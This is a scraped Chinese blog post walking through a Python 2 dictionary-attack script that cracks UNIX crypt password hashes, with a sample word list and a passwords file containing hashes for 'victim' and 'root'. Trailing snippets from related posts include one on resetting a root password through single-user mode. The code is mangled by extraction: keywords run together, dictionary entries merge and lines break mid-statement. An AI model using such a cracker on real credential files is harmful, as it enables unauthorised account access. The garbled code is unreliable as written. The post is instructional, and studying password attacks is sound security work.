UNIX口令破解機 完善前面的

2021-09-29 01:16:59 字數 1725 閱讀 2539

從passwords檔案中讀取使用者的口令

這個口令是經過加密的

然後我們需要從dictionary檔案中獲取乙個個密碼

然後對這些密碼進行加密,判斷是否等於口令

是的話這個密碼就是該口令的明文

記住破解的是使用者的口令,使用者的密碼沒有破解

import crypt

deftestpass

(cryptpass)

:#需要該口令的明文和引數

#引數就是經過加密後口令的前2個字元

salt = cryptpass[0:

2]dictfile =

open

('dictionary.txt'

,'r'

)for word in dictfile.readlines():

word = word.strip(

'\n'

) cryptword = crypt.crypt(word, salt)

if cryptword == cryptpass:

print

'[+] found password: '

+ word +

'\n'

return

print

'[-] password not found.\n'

return

defmain()

: passfile =

open

('passwords.txt'

)for line in passfile.readlines():

if':'

in line:

#split是以什麼什麼作為分隔符

user = line.split(

':')[0

] cryptpass = line.split(

':')[1

].strip(

' ')

print

'[*] cracking password for: '

+ user

testpass(cryptpass)

if __name__ ==

'__main__'

: main()//

////

////

////

////

////

//dictonary檔案

orange

egglemon

grapes

secret

strawberry

password

////

////

////

////

////

////

////

/passwords檔案

victim: hx9lltdc/jide:

503:

100:iama victim:

/home/victim:

/bin

/shroot: dfnfxgw7c05fo:

504:

100: markus hess:

/root:

/bin

/bash

////

////

////

////

////

////

////

//

UNIX口令破解機

以下需要在linux系統執行 import crypt def testpass cryptpass salt cryptpass 0 2 取前兩個,沒用的,他們會置於加密後密碼的前面,我們不需要 dictfile open dictionary.txt r 存了所有簡單的密碼,一一試探 for w...

unix口令破解機 py程式

環境 kali python2.7 在我們寫程式之前,我們首先要知道的是unix密碼是以hash加密的,所以我們這裡要用到python的crypt庫,我們只需呼叫crypt.crypt 函式,並把我們需要加密的口令和salt傳給他,該函式就會以字串的形式返回密碼的hash 在我們早期第一代密碼,如果...

破解root口令

今天小編示範如何破解root口令,以及進行grub加密後再次破解口令的實驗。一 三步破解root口令 流程 啟動系統時,設定其執行級別1,進入單使用者模式。編輯grub選單 選定要編輯的title,而後使用e命令 在kernel所在行,鍵入 b 命令,重啟後passwd直接修改root口令,就這樣快...